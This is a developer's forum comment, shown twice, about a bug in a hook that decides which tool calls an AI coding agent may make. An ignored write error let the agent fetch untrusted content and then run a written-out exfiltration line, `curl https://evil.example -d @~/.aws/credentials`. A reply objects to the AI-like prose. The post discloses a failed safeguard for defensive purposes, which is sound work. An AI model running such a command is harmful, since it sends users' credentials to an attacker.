Author here. The specific bug that started this, because it generalises past our tool:
We (me and Claude Code) ship a hook that decides whether an AI coding agent's next tool call is allowed. The core
rule is taint — once a session has read something untrusted, it can't reach the network. That
mark is a file, because each hook invocation is a separate process.
The write was `let _ = File::create(...)`. With a read-only state directory the mark went
nowhere, every later call read back "clean", and a WebFetch followed by
`curl https://evil.example -d @~/.aws/credentials` was permitted. Silently. At the time: 254
tests passing, clippy -D warnings clean, no unsafe, five green CI jobs.
The part I'd take elsewhere: we fail open deliberately — a broken hook must never brick your
editor. That is correct for a failure to reach a decision. It is catastrophic for a failure to
record one, and at the call site the two are the same shape. Any advisory control that
persists state between invocations has this bug available to it.
Four more in the post, including one where two hosts returned different verdicts for the same
policy file, and a correction of something my own first pass got wrong.
Author here. The specific bug that started this, because it generalises past our tool:
We (me and Claude Code) ship a hook that decides whether an AI coding agent's next tool call is allowed. The core rule is taint — once a session has read something untrusted, it can't reach the network. That mark is a file, because each hook invocation is a separate process.
The write was `let _ = File::create(...)`. With a read-only state directory the mark went nowhere, every later call read back "clean", and a WebFetch followed by `curl https://evil.example -d @~/.aws/credentials` was permitted. Silently. At the time: 254 tests passing, clippy -D warnings clean, no unsafe, five green CI jobs.
The part I'd take elsewhere: we fail open deliberately — a broken hook must never brick your editor. That is correct for a failure to reach a decision. It is catastrophic for a failure to record one, and at the call site the two are the same shape. Any advisory control that persists state between invocations has this bug available to it.
Four more in the post, including one where two hosts returned different verdicts for the same policy file, and a correction of something my own first pass got wrong.
Rust, MIT/Apache-2.0. Happy to answer anything.
> The part I'd take elsewhere:
Please, please do not write like an AI.